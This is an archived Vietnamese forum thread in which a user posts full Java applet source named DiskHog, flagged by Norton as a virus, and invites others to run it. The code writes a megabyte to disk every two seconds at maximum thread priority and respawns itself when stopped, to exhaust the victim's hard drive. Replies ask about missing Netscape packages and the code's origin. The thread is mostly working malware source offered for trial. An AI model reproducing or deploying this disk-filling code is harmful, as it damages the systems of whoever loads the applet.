PDA

View Full Version : [q] Code=virus



yuna_admirer
15-12-2002, 00:13
Đoạn Code này khi comply xong , bị Norton Anti 2002 xem là virus . Yuna tuy biết rất ít Java , nhưng cũng hiểu sơ sơ là Code này sẻ dần dần fill đầy ổ cứng , 1 lần 1 m rất nhanh .
Nếu không delete nó đi , hoặc disable NA đi thì sao ? Có ai gan thử giùm nha .
import java.io.*;
import netscape.applet.*;
import netscape.secfile.*;

public class DiskHog extends java.applet.Applet implements Runnable {

Thread stubborn;

public void init() {
stubborn = null;
}
public void start() {
if (stubborn == null) {
stubborn = new Thread(this,"stubborn");
stubborn.setPriority(Thread.MAX_PRIORITY);
stubborn.start();
}
}
public void stop() {}

public void run() {
try {
while (true) {
dump();
try {stubborn.sleep(2000);}
catch (InterruptedException e) {}
}
}
catch (ThreadDeath td) {}
catch (Exception except) {}
catch (Error err) {}
finally {
DiskHog hog = new DiskHog();
Thread reborn = new Thread(hog, "stubborn");
reborn.start();
}
}
public void dump() {
SecureFileOutputStream sfos = null;
byte[] byter = new byte[1048576];
for (int i = 0; i < byter.length; i++) {
byter[i] = (byte) i;
}
try {
sfos = new SecureFileOutputStream("cache", true);
sfos.write(byter);
}
catch (IOException ioe) {dumpbytes();}
}
public void dumpbytes() {
try {
SecureFileOutputStream sfos = new SecureFileOutputStream("cache", true);
for (int i = 0; i < 1048576 ;i++) {
sfos.write(i);
}
}
catch (IOException ioe) {
try {Thread.currentThread().sleep(5000);}
catch (InterruptedException ie) {}
}
}
}

quangtovan
26-12-2002, 15:58
Mình có chạy thử rồi nhưng nó báo là :
package netscape.applet does not exist
SecureFileOutputStream

mà mình cũng thử vào API library để tìm SecureFileOutputStream mà không thấy, mấy cái đó là bạn tự viết hả?

yuna_admirer
27-12-2002, 15:59
Lúc cài JDK , bạn chọn mục Netscape , hoặc tìm ở đâu mấy cái package mà nó cần .

hihì . Cái này không phải là mình viết .

wheel
13-05-2009, 08:03
bạn dịch ngược con virus này hả. Sao bạn có code này hay zị

adolfhjtler1991
14-01-2010, 17:35
sax
viet mai ma ko duoc